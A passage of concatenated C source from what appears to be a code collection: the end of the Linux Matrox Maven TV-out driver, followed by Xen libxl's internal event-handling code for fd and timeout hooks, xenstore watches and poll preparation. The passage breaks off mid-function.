LR(0x80); LR(0x81); LR(0x82); LR(0xB3); LR(0x94); LRP(0x96); LRP(0x98); LRP(0x9A); LRP(0x9C); LRP(0x9E); LRP(0xA0); LRP(0xA2); LRP(0xA4); LRP(0xA6); LRP(0xA8); LRP(0xAA); LRP(0xAC); LRP(0xAE); LR(0xB0); /* output: monitor */ LR(0xB1); /* ??? */ LR(0x8C); /* must be set... */ LR(0x8D); /* defaults to 0x10: test signal */ LR(0xB9); /* defaults to 0x2C: too bright */ LR(0xBF); /* makes picture stable */ } else { maven_init_TV(c, m); } return 0; } static inline int maven_resync(struct maven_data* md) { struct i2c_client *c = md->client; maven_set_reg(c, 0x95, 0x20); /* start whole thing */ return 0; } static int maven_get_queryctrl (struct maven_data* md, struct v4l2_queryctrl *p) { int i; i = get_ctrl_id(p->id); if (i >= 0) { *p = maven_controls[i].desc; return 0; } if (i == -ENOENT) { static const struct v4l2_queryctrl disctrl = { .flags = V4L2_CTRL_FLAG_DISABLED }; i = p->id; *p = disctrl; p->id = i; sprintf(p->name, "Ctrl #%08X", i); return 0; } return -EINVAL; } static int maven_set_control (struct maven_data* md, struct v4l2_control *p) { int i; i = get_ctrl_id(p->id); if (i < 0) return -EINVAL; /* * Check if changed. */ if (p->value == *get_ctrl_ptr(md, i)) return 0; /* * Check limits. */ if (p->value > maven_controls[i].desc.maximum) return -EINVAL; if (p->value < maven_controls[i].desc.minimum) return -EINVAL; /* * Store new value. */ *get_ctrl_ptr(md, i) = p->value; switch (p->id) { case V4L2_CID_BRIGHTNESS: case V4L2_CID_CONTRAST: { int blacklevel, whitelevel; maven_compute_bwlevel(md, &blacklevel, &whitelevel); blacklevel = (blacklevel >> 2) | ((blacklevel & 3) << 8); whitelevel = (whitelevel >> 2) | ((whitelevel & 3) << 8); maven_set_reg_pair(md->client, 0x0e, blacklevel); maven_set_reg_pair(md->client, 0x1e, whitelevel); } break; case V4L2_CID_SATURATION: { maven_set_reg(md->client, 0x20, p->value); maven_set_reg(md->client, 0x22, p->value); } break; case V4L2_CID_HUE: { maven_set_reg(md->client, 0x25, p->value); } break; case V4L2_CID_GAMMA: { const struct maven_gamma* g; g = maven_compute_gamma(md); maven_set_reg(md->client, 0x83, g->reg83); maven_set_reg(md->client, 0x84, g->reg84); maven_set_reg(md->client, 0x85, g->reg85); maven_set_reg(md->client, 0x86, g->reg86); maven_set_reg(md->client, 0x87, g->reg87); maven_set_reg(md->client, 0x88, g->reg88); maven_set_reg(md->client, 0x89, g->reg89); maven_set_reg(md->client, 0x8a, g->reg8a); maven_set_reg(md->client, 0x8b, g->reg8b); } break; case MATROXFB_CID_TESTOUT: { unsigned char val = maven_get_reg(md->client, 0x8d); if (p->value) val |= 0x10; else val &= ~0x10; maven_set_reg(md->client, 0x8d, val); } break; case MATROXFB_CID_DEFLICKER: { maven_set_reg(md->client, 0x93, maven_compute_deflicker(md)); } break; } return 0; } static int maven_get_control (struct maven_data* md, struct v4l2_control *p) { int i; i = get_ctrl_id(p->id); if (i < 0) return -EINVAL; p->value = *get_ctrl_ptr(md, i); return 0; } /******************************************************/ static int maven_out_compute(void* md, struct my_timming* mt) { #define mdinfo ((struct maven_data*)md) #define minfo (mdinfo->primary_head) return maven_compute_timming(md, mt, &minfo->hw.maven); #undef minfo #undef mdinfo } static int maven_out_program(void* md) { #define mdinfo ((struct maven_data*)md) #define minfo (mdinfo->primary_head) return maven_program_timming(md, &minfo->hw.maven); #undef minfo #undef mdinfo } static int maven_out_start(void* md) { return maven_resync(md); } static int maven_out_verify_mode(void* md, u_int32_t arg) { switch (arg) { case MATROXFB_OUTPUT_MODE_PAL: case MATROXFB_OUTPUT_MODE_NTSC: case MATROXFB_OUTPUT_MODE_MONITOR: return 0; } return -EINVAL; } static int maven_out_get_queryctrl(void* md, struct v4l2_queryctrl* p) { return maven_get_queryctrl(md, p); } static int maven_out_get_ctrl(void* md, struct v4l2_control* p) { return maven_get_control(md, p); } static int maven_out_set_ctrl(void* md, struct v4l2_control* p) { return maven_set_control(md, p); } static struct matrox_altout maven_altout = { .name = "Secondary output", .compute = maven_out_compute, .program = maven_out_program, .start = maven_out_start, .verifymode = maven_out_verify_mode, .getqueryctrl = maven_out_get_queryctrl, .getctrl = maven_out_get_ctrl, .setctrl = maven_out_set_ctrl, }; static int maven_init_client(struct i2c_client* clnt) { struct maven_data* md = i2c_get_clientdata(clnt); struct matrox_fb_info *minfo = container_of(clnt->adapter, struct i2c_bit_adapter, adapter)->minfo; md->primary_head = minfo; md->client = clnt; down_write(&minfo->altout.lock); minfo->outputs[1].output = &maven_altout; minfo->outputs[1].src = minfo->outputs[1].default_src; minfo->outputs[1].data = md; minfo->outputs[1].mode = MATROXFB_OUTPUT_MODE_MONITOR; up_write(&minfo->altout.lock); if (maven_get_reg(clnt, 0xB2) < 0x14) { md->version = MGATVO_B; /* Tweak some things for this old chip */ } else { md->version = MGATVO_C; } /* * Set all parameters to its initial values. */ { unsigned int i; for (i = 0; i < MAVCTRLS; ++i) { *get_ctrl_ptr(md, i) = maven_controls[i].desc.default_value; } } return 0; } static int maven_shutdown_client(struct i2c_client* clnt) { struct maven_data* md = i2c_get_clientdata(clnt); if (md->primary_head) { struct matrox_fb_info *minfo = md->primary_head; down_write(&minfo->altout.lock); minfo->outputs[1].src = MATROXFB_SRC_NONE; minfo->outputs[1].output = NULL; minfo->outputs[1].data = NULL; minfo->outputs[1].mode = MATROXFB_OUTPUT_MODE_MONITOR; up_write(&minfo->altout.lock); md->primary_head = NULL; } return 0; } static int maven_probe(struct i2c_client *client, const struct i2c_device_id *id) { struct i2c_adapter *adapter = client->adapter; int err = -ENODEV; struct maven_data* data; if (!i2c_check_functionality(adapter, I2C_FUNC_SMBUS_WRITE_WORD_DATA | I2C_FUNC_SMBUS_BYTE_DATA | I2C_FUNC_PROTOCOL_MANGLING)) goto ERROR0; if (!(data = kzalloc(sizeof(*data), GFP_KERNEL))) { err = -ENOMEM; goto ERROR0; } i2c_set_clientdata(client, data); err = maven_init_client(client); if (err) goto ERROR4; return 0; ERROR4:; kfree(data); ERROR0:; return err; } static int maven_remove(struct i2c_client *client) { maven_shutdown_client(client); kfree(i2c_get_clientdata(client)); return 0; } static const struct i2c_device_id maven_id[] = { { "maven", 0 }, { } }; MODULE_DEVICE_TABLE(i2c, maven_id); static struct i2c_driver maven_driver={ .driver = { .name = "maven", }, .probe = maven_probe, .remove = maven_remove, .id_table = maven_id, }; static int __init matroxfb_maven_init(void) { return i2c_add_driver(&maven_driver); } static void __exit matroxfb_maven_exit(void) { i2c_del_driver(&maven_driver); } MODULE_AUTHOR("(c) 1999-2002 Petr Vandrovec <[email protected]>"); MODULE_DESCRIPTION("Matrox G200/G400 Matrox MGA-TVO driver"); MODULE_LICENSE("GPL"); module_init(matroxfb_maven_init); module_exit(matroxfb_maven_exit); /* we do not have __setup() yet */
556749.c
/* * Copyright (C) 2011 Citrix Ltd. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published * by the Free Software Foundation; version 2.1 only. with the special * exception on linking described in file LICENSE. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. */ /* * Internal event machinery for use by other parts of libxl */ #include <poll.h> #include "libxl_internal.h" //#define DEBUG 1 #ifdef DEBUG # define LIBXL__DBG_LOG(ctx, args, ...) \ LIBXL__LOG((ctx), XTL_DEBUG, args, __VA_ARGS__) #else # define LIBXL__DBG_LOG(ctx, args, ...) ((void)0) #endif #define DBG(args, ...) LIBXL__DBG_LOG(CTX, args, __VA_ARGS__) /* * The counter osevent_in_hook is used to ensure that the application * honours the reentrancy restriction documented in libxl_event.h. * * The application's registration hooks should be called ONLY via * these macros, with the ctx locked. Likewise all the "occurred" * entrypoints from the application should assert(!in_hook); * * During the hook call - including while the arguments are being * evaluated - ev->nexus is guaranteed to be valid and refer to the * nexus which is being used for this event registration. The * arguments should specify ev->nexus for the for_libxl argument and * ev->nexus->for_app_reg (or a pointer to it) for for_app_reg. */ #define OSEVENT_HOOK_INTERN(retval, failedp, evkind, hookop, nexusop, ...) do { \ if (CTX->osevent_hooks) { \ CTX->osevent_in_hook++; \ libxl__osevent_hook_nexi *nexi = &CTX->hook_##evkind##_nexi_idle; \ osevent_hook_pre_##nexusop(gc, ev, nexi, &ev->nexus); \ retval CTX->osevent_hooks->evkind##_##hookop \ (CTX->osevent_user, __VA_ARGS__); \ if ((failedp)) \ osevent_hook_failed_##nexusop(gc, ev, nexi, &ev->nexus); \ CTX->osevent_in_hook--; \ } \ } while (0) #define OSEVENT_HOOK(evkind, hookop, nexusop, ...) ({ \ int osevent_hook_rc = 0; \ OSEVENT_HOOK_INTERN(osevent_hook_rc =, !!osevent_hook_rc, \ evkind, hookop, nexusop, __VA_ARGS__); \ osevent_hook_rc; \ }) #define OSEVENT_HOOK_VOID(evkind, hookop, nexusop, ...) \ OSEVENT_HOOK_INTERN(/* void */, 0, evkind, hookop, nexusop, __VA_ARGS__) /* * The application's calls to libxl_osevent_occurred_... may be * indefinitely delayed with respect to the rest of the program (since * they are not necessarily called with any lock held). So the * for_libxl value we receive may be (almost) arbitrarily old. All we * know is that it came from this ctx. * * Therefore we may not free the object referred to by any for_libxl * value until we free the whole libxl_ctx. And if we reuse it we * must be able to tell when an old use turns up, and discard the * stale event. * * Thus we cannot use the ev directly as the for_libxl value - we need * a layer of indirection. * * We do this by keeping a pool of libxl__osevent_hook_nexus structs, * and use pointers to them as for_libxl values. In fact, there are * two pools: one for fds and one for timeouts. This ensures that we * don't risk a type error when we upcast nexus->ev. In each nexus * the ev is either null or points to a valid libxl__ev_time or * libxl__ev_fd, as applicable. * * We /do/ allow ourselves to reassociate an old nexus with a new ev * as otherwise we would have to leak nexi. (This reassociation * might, of course, be an old ev being reused for a new purpose so * simply comparing the ev pointer is not sufficient.) Thus the * libxl_osevent_occurred functions need to check that the condition * allegedly signalled by this event actually exists. * * The nexi and the lists are all protected by the ctx lock. */ struct libxl__osevent_hook_nexus { void *ev; void *for_app_reg; LIBXL_SLIST_ENTRY(libxl__osevent_hook_nexus) next; }; static void *osevent_ev_from_hook_nexus(libxl_ctx *ctx, libxl__osevent_hook_nexus *nexus /* pass void *for_libxl */) { return nexus->ev; } static void osevent_release_nexus(libxl__gc *gc, libxl__osevent_hook_nexi *nexi_idle, libxl__osevent_hook_nexus *nexus) { nexus->ev = 0; LIBXL_SLIST_INSERT_HEAD(nexi_idle, nexus, next); } /*----- OSEVENT* hook functions for nexusop "alloc" -----*/ static void osevent_hook_pre_alloc(libxl__gc *gc, void *ev, libxl__osevent_hook_nexi *nexi_idle, libxl__osevent_hook_nexus **nexus_r) { libxl__osevent_hook_nexus *nexus = LIBXL_SLIST_FIRST(nexi_idle); if (nexus) { LIBXL_SLIST_REMOVE_HEAD(nexi_idle, next); } else { nexus = libxl__zalloc(NOGC, sizeof(*nexus)); } nexus->ev = ev; *nexus_r = nexus; } static void osevent_hook_failed_alloc(libxl__gc *gc, void *ev, libxl__osevent_hook_nexi *nexi_idle, libxl__osevent_hook_nexus **nexus) { osevent_release_nexus(gc, nexi_idle, *nexus); } /*----- OSEVENT* hook functions for nexusop "release" -----*/ static void osevent_hook_pre_release(libxl__gc *gc, void *ev, libxl__osevent_hook_nexi *nexi_idle, libxl__osevent_hook_nexus **nexus) { osevent_release_nexus(gc, nexi_idle, *nexus); } static void osevent_hook_failed_release(libxl__gc *gc, void *ev, libxl__osevent_hook_nexi *nexi_idle, libxl__osevent_hook_nexus **nexus) { abort(); } /*----- OSEVENT* hook functions for nexusop "noop" -----*/ static void osevent_hook_pre_noop(libxl__gc *gc, void *ev, libxl__osevent_hook_nexi *nexi_idle, libxl__osevent_hook_nexus **nexus) { } static void osevent_hook_failed_noop(libxl__gc *gc, void *ev, libxl__osevent_hook_nexi *nexi_idle, libxl__osevent_hook_nexus **nexus) { } /* * fd events */ int libxl__ev_fd_register(libxl__gc *gc, libxl__ev_fd *ev, libxl__ev_fd_callback *func, int fd, short events) { int rc; assert(fd >= 0); CTX_LOCK; DBG("ev_fd=%p register fd=%d events=%x", ev, fd, events); rc = OSEVENT_HOOK(fd,register, alloc, fd, &ev->nexus->for_app_reg, events, ev->nexus); if (rc) goto out; ev->fd = fd; ev->events = events; ev->func = func; LIBXL_LIST_INSERT_HEAD(&CTX->efds, ev, entry); rc = 0; out: CTX_UNLOCK; return rc; } int libxl__ev_fd_modify(libxl__gc *gc, libxl__ev_fd *ev, short events) { int rc; CTX_LOCK; assert(libxl__ev_fd_isregistered(ev)); DBG("ev_fd=%p modify fd=%d events=%x", ev, ev->fd, events); rc = OSEVENT_HOOK(fd,modify, noop, ev->fd, &ev->nexus->for_app_reg, events); if (rc) goto out; ev->events = events; rc = 0; out: CTX_UNLOCK; return rc; } void libxl__ev_fd_deregister(libxl__gc *gc, libxl__ev_fd *ev) { CTX_LOCK; if (!libxl__ev_fd_isregistered(ev)) { DBG("ev_fd=%p deregister unregistered",ev); goto out; } DBG("ev_fd=%p deregister fd=%d", ev, ev->fd); OSEVENT_HOOK_VOID(fd,deregister, release, ev->fd, ev->nexus->for_app_reg); LIBXL_LIST_REMOVE(ev, entry); ev->fd = -1; out: CTX_UNLOCK; } /* * timeouts */ int libxl__gettimeofday(libxl__gc *gc, struct timeval *now_r) { int rc = gettimeofday(now_r, 0); if (rc) { LIBXL__LOG_ERRNO(CTX, LIBXL__LOG_ERROR, "gettimeofday failed"); return ERROR_FAIL; } return 0; } static int time_rel_to_abs(libxl__gc *gc, int ms, struct timeval *abs_out) { int rc; struct timeval additional = { .tv_sec = ms / 1000, .tv_usec = (ms % 1000) * 1000 }; struct timeval now; rc = libxl__gettimeofday(gc, &now); if (rc) return rc; timeradd(&now, &additional, abs_out); return 0; } static int time_register_finite(libxl__gc *gc, libxl__ev_time *ev, struct timeval absolute) { int rc; libxl__ev_time *evsearch; rc = OSEVENT_HOOK(timeout,register, alloc, &ev->nexus->for_app_reg, absolute, ev->nexus); if (rc) return rc; ev->infinite = 0; ev->abs = absolute; LIBXL_TAILQ_INSERT_SORTED(&CTX->etimes, entry, ev, evsearch, /*empty*/, timercmp(&ev->abs, &evsearch->abs, >)); return 0; } static void time_deregister(libxl__gc *gc, libxl__ev_time *ev) { if (!ev->infinite) { struct timeval right_away = { 0, 0 }; if (ev->nexus) /* only set if app provided hooks */ ev->nexus->ev = 0; OSEVENT_HOOK_VOID(timeout,modify, noop /* release nexus in _occurred_ */, &ev->nexus->for_app_reg, right_away); LIBXL_TAILQ_REMOVE(&CTX->etimes, ev, entry); } } static void time_done_debug(libxl__gc *gc, const char *func, libxl__ev_time *ev, int rc) { #ifdef DEBUG libxl__log(CTX, XTL_DEBUG, -1,__FILE__,0,func, "ev_time=%p done rc=%d .func=%p infinite=%d abs=%lu.%06lu", ev, rc, ev->func, ev->infinite, (unsigned long)ev->abs.tv_sec, (unsigned long)ev->abs.tv_usec); #endif } int libxl__ev_time_register_abs(libxl__gc *gc, libxl__ev_time *ev, libxl__ev_time_callback *func, struct timeval absolute) { int rc; CTX_LOCK; DBG("ev_time=%p register abs=%lu.%06lu", ev, (unsigned long)absolute.tv_sec, (unsigned long)absolute.tv_usec); rc = time_register_finite(gc, ev, absolute); if (rc) goto out; ev->func = func; rc = 0; out: time_done_debug(gc,__func__,ev,rc); CTX_UNLOCK; return rc; } int libxl__ev_time_register_rel(libxl__gc *gc, libxl__ev_time *ev, libxl__ev_time_callback *func, int milliseconds /* as for poll(2) */) { struct timeval absolute; int rc; CTX_LOCK; DBG("ev_time=%p register ms=%d", ev, milliseconds); if (milliseconds < 0) { ev->infinite = 1; } else { rc = time_rel_to_abs(gc, milliseconds, &absolute); if (rc) goto out; rc = time_register_finite(gc, ev, absolute); if (rc) goto out; } ev->func = func; rc = 0; out: time_done_debug(gc,__func__,ev,rc); CTX_UNLOCK; return rc; } void libxl__ev_time_deregister(libxl__gc *gc, libxl__ev_time *ev) { CTX_LOCK; DBG("ev_time=%p deregister", ev); if (!libxl__ev_time_isregistered(ev)) goto out; time_deregister(gc, ev); ev->func = 0; out: time_done_debug(gc,__func__,ev,0); CTX_UNLOCK; return; } /* * xenstore watches */ libxl__ev_xswatch *libxl__watch_slot_contents(libxl__gc *gc, int slotnum) { libxl__ev_watch_slot *slot = &CTX->watch_slots[slotnum]; libxl__ev_watch_slot *slotcontents = LIBXL_SLIST_NEXT(slot, empty); if (slotcontents == NULL || ((uintptr_t)slotcontents >= (uintptr_t)CTX->watch_slots && (uintptr_t)slotcontents < (uintptr_t)(CTX->watch_slots + CTX->watch_nslots))) /* An empty slot has either a NULL pointer (end of the * free list), or a pointer to another entry in the array. * So we can do a bounds check to distinguish empty from * full slots. */ /* We need to do the comparisons as uintptr_t because * comparing pointers which are not in the same object is * undefined behaviour; if the compiler managed to figure * out that watch_slots[0..watch_nslots-1] is all of the * whole array object it could prove that the above bounds * check was always true if it was legal, and remove it! * * uintptr_t because even on a machine with signed * pointers, objects do not cross zero; whereas on * machines with unsigned pointers, they may cross * 0x8bazillion. */ return NULL; /* see comment near libxl__ev_watch_slot definition */ return (void*)slotcontents; } static void libxl__set_watch_slot_contents(libxl__ev_watch_slot *slot, libxl__ev_xswatch *w) { /* we look a bit behind the curtain of LIBXL_SLIST, to explicitly * assign to the pointer that's the next link. See the comment * by the definition of libxl__ev_watch_slot */ slot->empty.sle_next = (void*)w; } static void watchfd_callback(libxl__egc *egc, libxl__ev_fd *ev, int fd, short events, short revents) { EGC_GC; if (revents & (POLLERR|POLLHUP)) LIBXL__EVENT_DISASTER(egc, "unexpected poll event on watch fd", 0, 0); for (;;) { char **event = xs_check_watch(CTX->xsh); if (!event) { if (errno == EAGAIN) break; if (errno == EINTR) continue; LIBXL__EVENT_DISASTER(egc, "cannot check/read watches", errno, 0); return; } const char *epath = event[0]; const char *token = event[1]; int slotnum; uint32_t counterval; int rc = sscanf(token, "%d/%"SCNx32, &slotnum, &counterval); if (rc != 2) { LIBXL__LOG(CTX, LIBXL__LOG_ERROR, "watch epath=%s token=%s: failed to parse token", epath, token); /* oh well */ goto ignore; } if (slotnum < 0 || slotnum >= CTX->watch_nslots) { /* perhaps in the future we will make the watchslots array shrink */ LIBXL__LOG(CTX, LIBXL__LOG_DEBUG, "watch epath=%s token=%s:" " slotnum %d out of range [0,%d>", epath, token, slotnum, CTX->watch_nslots); goto ignore; } libxl__ev_xswatch *w = libxl__watch_slot_contents(gc, slotnum); if (!w) { LIBXL__LOG(CTX, LIBXL__LOG_DEBUG, "watch epath=%s token=%s: empty slot", epath, token); goto ignore; } if (w->counterval != counterval) { LOG(DEBUG, "watch w=%p epath=%s token=%s: counter != %"PRIx32, w, epath, token, w->counterval); goto ignore; } /* Now it's possible, though unlikely, that this was an event * from a previous use of the same slot with the same counterval. * * In that case either: * - the event path is a child of the watch path, in * which case this watch would really have generated this * event if it had been registered soon enough and we are * OK to give this possibly-spurious event to the caller; or * - it is not, in which case we must suppress it as the * caller should not see events for unrelated paths. * * See also docs/misc/xenstore.txt. */ if (!xs_path_is_subpath(w->path, epath)) { LOG(DEBUG, "watch w=%p wpath=%s token=%s: unexpected epath=%s", w, w->path, token, epath); goto ignore; } /* At last, we have checked everything! */ LOG(DEBUG, "watch w=%p wpath=%s token=%s: event epath=%s", w, w->path, token, epath); w->callback(egc, w, w->path, epath); ignore: free(event); } } static char *watch_token(libxl__gc *gc, int slotnum, uint32_t counterval) { return libxl__sprintf(gc, "%d/%"PRIx32, slotnum, counterval); } int libxl__ev_xswatch_register(libxl__gc *gc, libxl__ev_xswatch *w, libxl__ev_xswatch_callback *func, const char *path /* copied */) { libxl__ev_watch_slot *use = NULL; char *path_copy = NULL; int rc; CTX_LOCK; if (!libxl__ev_fd_isregistered(&CTX->watch_efd)) { rc = libxl__ev_fd_register(gc, &CTX->watch_efd, watchfd_callback, xs_fileno(CTX->xsh), POLLIN); if (rc) goto out_rc; } if (LIBXL_SLIST_EMPTY(&CTX->watch_freeslots)) { /* Free list is empty so there is not in fact a linked * free list in the array and we can safely realloc it */ int newarraysize = (CTX->watch_nslots + 1) << 2; int i; libxl__ev_watch_slot *newarray = realloc(CTX->watch_slots, sizeof(*newarray) * newarraysize); if (!newarray) goto out_nomem; for (i = CTX->watch_nslots; i < newarraysize; i++) LIBXL_SLIST_INSERT_HEAD(&CTX->watch_freeslots, &newarray[i], empty); CTX->watch_slots = newarray; CTX->watch_nslots = newarraysize; } use = LIBXL_SLIST_FIRST(&CTX->watch_freeslots); assert(use); LIBXL_SLIST_REMOVE_HEAD(&CTX->watch_freeslots, empty); path_copy = strdup(path); if (!path_copy) goto out_nomem; int slotnum = use - CTX->watch_slots; w->counterval = CTX->watch_counter++; const char *token = watch_token(gc, slotnum, w->counterval); LOG(DEBUG, "watch w=%p wpath=%s token=%s: register slotnum=%d", w, path, token, slotnum); if (!xs_watch(CTX->xsh, path, token)) { LIBXL__LOG_ERRNOVAL(CTX, LIBXL__LOG_ERROR, errno, "create watch for path %s", path); rc = ERROR_FAIL; goto out_rc; } w->slotnum = slotnum; w->path = path_copy; w->callback = func; libxl__set_watch_slot_contents(use, w); CTX_UNLOCK; return 0; out_nomem: rc = ERROR_NOMEM; out_rc: if (use) LIBXL_SLIST_INSERT_HEAD(&CTX->watch_freeslots, use, empty); if (path_copy) free(path_copy); CTX_UNLOCK; return rc; } void libxl__ev_xswatch_deregister(libxl__gc *gc, libxl__ev_xswatch *w) { /* it is legal to deregister from within _callback */ CTX_LOCK; if (w->slotnum >= 0) { const char *token = watch_token(gc, w->slotnum, w->counterval); LOG(DEBUG, "watch w=%p wpath=%s token=%s: deregister slotnum=%d", w, w->path, token, w->slotnum); if (!xs_unwatch(CTX->xsh, w->path, token)) /* Oh well, we will just get watch events forever more * and ignore them. But we should complain to the log. */ LIBXL__LOG_ERRNOVAL(CTX, LIBXL__LOG_ERROR, errno, "remove watch for path %s", w->path); libxl__ev_watch_slot *slot = &CTX->watch_slots[w->slotnum]; LIBXL_SLIST_INSERT_HEAD(&CTX->watch_freeslots, slot, empty); w->slotnum = -1; } else { LOG(DEBUG, "watch w=%p: deregister unregistered", w); } free(w->path); w->path = NULL; CTX_UNLOCK; } /* * waiting for device state */ static void devstate_watch_callback(libxl__egc *egc, libxl__ev_xswatch *watch, const char *watch_path, const char *event_path) { EGC_GC; libxl__ev_devstate *ds = CONTAINER_OF(watch, *ds, watch); int rc; char *sstate = libxl__xs_read(gc, XBT_NULL, watch_path); if (!sstate) { if (errno == ENOENT) { LIBXL__LOG(CTX, LIBXL__LOG_DEBUG, "backend %s wanted state %d" " but it was removed", watch_path, ds->wanted); rc = ERROR_INVAL; } else { LIBXL__LOG_ERRNO(CTX, LIBXL__LOG_ERROR, "backend %s wanted state" " %d but read failed", watch_path, ds->wanted); rc = ERROR_FAIL; } } else { int got = atoi(sstate); if (got == ds->wanted) { LIBXL__LOG(CTX, LIBXL__LOG_DEBUG, "backend %s wanted state %d ok", watch_path, ds->wanted); rc = 0; } else { LIBXL__LOG(CTX, LIBXL__LOG_DEBUG, "backend %s wanted state %d" " still waiting state %d", watch_path, ds->wanted, got); return; } } libxl__ev_devstate_cancel(gc, ds); ds->callback(egc, ds, rc); } static void devstate_timeout(libxl__egc *egc, libxl__ev_time *ev, const struct timeval *requested_abs) { EGC_GC; libxl__ev_devstate *ds = CONTAINER_OF(ev, *ds, timeout); LIBXL__LOG(CTX, LIBXL__LOG_DEBUG, "backend %s wanted state %d " " timed out", ds->watch.path, ds->wanted); libxl__ev_devstate_cancel(gc, ds); ds->callback(egc, ds, ERROR_TIMEDOUT); } int libxl__ev_devstate_wait(libxl__gc *gc, libxl__ev_devstate *ds, libxl__ev_devstate_callback cb, const char *state_path, int state, int milliseconds) { int rc; libxl__ev_time_init(&ds->timeout); libxl__ev_xswatch_init(&ds->watch); ds->wanted = state; ds->callback = cb; rc = libxl__ev_time_register_rel(gc, &ds->timeout, devstate_timeout, milliseconds); if (rc) goto out; rc = libxl__ev_xswatch_register(gc, &ds->watch, devstate_watch_callback, state_path); if (rc) goto out; return 0; out: libxl__ev_devstate_cancel(gc, ds); return rc; } /* * domain death/destruction */ /* * We use a xenstore watch on the domain's path, rather than using an * @releaseDomain watch and asking the hypervisor. This is simpler * because turning @releaseDomain into domain-specific information is * complicated. * * It is also sufficient for our callers, which are generally trying * to do cleanup of their own execution state on domain death, for the * following reason: if the domain is destroyed then either (a) the * entries in xenstore have already been deleted, in which case the * test here works or (b) they have not in which case something has * gone very badly wrong and we are going to leak those xenstore * entries, in which case trying to avoid leaking other stuff is * futile. */ static void domaindeathcheck_callback(libxl__egc *egc, libxl__ev_xswatch *w, const char *watch_path, const char *event_path) { libxl__domaindeathcheck *dc = CONTAINER_OF(w, *dc, watch); EGC_GC; const char *p = libxl__xs_read(gc, XBT_NULL, watch_path); if (p) return; if (errno!=ENOENT) { LIBXL__EVENT_DISASTER(egc,"failed to read xenstore" " for domain detach check", errno, 0); return; } LOG(ERROR,"%s: domain %"PRIu32" removed (%s no longer in xenstore)", dc->what, dc->domid, watch_path); dc->callback(egc, dc); } int libxl__domaindeathcheck_start(libxl__gc *gc, libxl__domaindeathcheck *dc) { const char *path = GCSPRINTF("/local/domain/%"PRIu32, dc->domid); return libxl__ev_xswatch_register(gc, &dc->watch, domaindeathcheck_callback, path); } /* * osevent poll */ static int beforepoll_internal(libxl__gc *gc, libxl__poller *poller, int *nfds_io, struct pollfd *fds, int *timeout_upd, struct timeval now) { libxl__ev_fd *efd; int rc; /* * We need to look at the fds we want twice: firstly, to count * them so we can make the rindex array big enough, and secondly * to actually fill the arrays in. * * To ensure correctness and avoid repeating the logic for * deciding which fds are relevant, we define a macro * REQUIRE_FDS( BODY ) * which calls * do{ * int req_fd; * int req_events; * BODY; * }while(0) * for each fd with a nonzero events. This is invoked twice. * * The definition of REQUIRE_FDS is simplified with the helper * macro * void REQUIRE_FD(int req_fd, int req_events, BODY); */ #define REQUIRE_FDS(BODY) do{ \ \ LIBXL_LIST_FOREACH(efd, &CTX->efds, entry) \ REQUIRE_FD(efd->fd, efd->events, BODY); \ \ REQUIRE_FD(poller->wakeup_pipe[0], POLLIN, BODY); \ \ int selfpipe = libxl__fork_selfpipe_active(CTX); \ if (selfpipe >= 0) \ REQUIRE_FD(selfpipe, POLLIN, BODY); \ \ }while(0) #define REQUIRE_FD(req_fd_, req_events_, BODY) do{ \ int req_events = (req_events_); \ int req_fd = (req_fd_); \ if (req_events) { \ BODY; \ } \ }while(0) /* * In order to be able to efficiently find the libxl__ev_fd for a * struct poll during _afterpoll, we maintain a shadow data * structure in CTX->fd_rindices: each fd corresponds to a slot in * fd_rindices, and each element in the rindices is three indices * into the fd array (for POLLIN, POLLPRI and POLLOUT). */ if (*nfds_io) { /* * As an optimisation, we don't touch fd_rindex * if *nfds_io is zero on entry, since in that case the * caller just wanted to know how big an array to give us. * * If !*nfds_io, the unconditional parts below are guaranteed * not to mess with fd_rindex. */ int maxfd = 0; REQUIRE_FDS({ if (req_fd >= maxfd) maxfd = req_fd + 1; }); /* make sure our array is as big as *nfds_io */ if (poller->fd_rindices_allocd < maxfd) { assert(ARRAY_SIZE_OK(poller->fd_rindices, maxfd)); poller->fd_rindices = libxl__realloc(NOGC, poller->fd_rindices, maxfd * sizeof(*poller->fd_rindices)); memset(poller->fd_rindices + poller->fd_rindices_allocd, 0, (maxfd - poller->fd_rindices_allocd) * sizeof(*poller->fd_rindices)); poller->fd_rindices_allocd = maxfd; } } int used = 0; REQUIRE_FDS({ if (used < *nfds_io) { fds[used].fd = req_fd; fds[used].events = req_events; fds[used].revents = 0; assert(req_fd < poller->fd_rindices_allocd); if (req_events & POLLIN) poller->fd_rindices[req_fd][0] = used; if (req_events & POLLPRI) poller->fd_rindices[req_fd][1] = used; if (req_events & POLLOUT) poller->fd_rindices[req_fd][2] = used; } used++; }); rc = used <= *nfds_io ? 0 : ERROR_BUFFERFULL; *nfds_io = used; libxl__ev_time *etime = LIBXL_TAILQ_FIRST(&CTX->etimes); if (etime) { int our_timeout; struct timeval rel; static struct timeval zero; timersub(&etime->abs, &now, &rel); if (timercmp(&rel, &zero, <)) { our_timeout = 0; } else if (rel.tv_sec >= 2000000) { our_timeout = 2000000000; } else { our_timeout = rel.tv_sec * 1000 + (rel.tv_usec + 999) / 1000; } if (*timeout_upd < 0 || our_timeout < *timeout_upd) *timeout_upd = our_timeout; } return rc; } int libxl_osevent_beforepoll(libxl_ctx *ctx, int *nfds_io, struct pollfd *fds, int *timeout_upd, struct timeval now) { EGC_INIT(ctx); CTX_LOCK; int rc = beforepoll_internal(gc, &ctx->poller_app, nfds_io, fds, timeout_upd, now); CTX_UNLOCK; EGC_FREE; return rc; } static int afterpoll_check_fd(libxl__poller *poller, const struct pollfd *fds, int nfds, int fd, int events) /* Returns mask of events which were requested and occurred. Will * return nonzero only once for each (poller,fd,events) * combination, until the next beforepoll. If events from * different combinations overlap, between one such combination * and all distinct combinations will produce nonzero returns. */ { if (fd >= poller->fd_rindices_allocd) /* added after we went into poll, have to try again */ return 0; events |= POLLERR | POLLHUP; int i, revents = 0; for (i=0; i<3; i++) { int *slotp = &poller->fd_rindices[fd][i]; int slot = *slotp; if (slot >= nfds) /* stale slot entry (again, added afterwards), */ /* or slot for which we have already returned nonzero */ continue; if (fds[slot].fd != fd) /* again, stale slot entry */ continue; assert(!(fds[slot].revents & POLLNVAL)); /* we mask in case requested events have changed */ int slot_revents = fds[slot].revents & events; if (!slot_revents) /* this slot is for a different set of events */ continue; revents |= slot_revents; *slotp = INT_MAX; /* so that next time we'll see slot >= 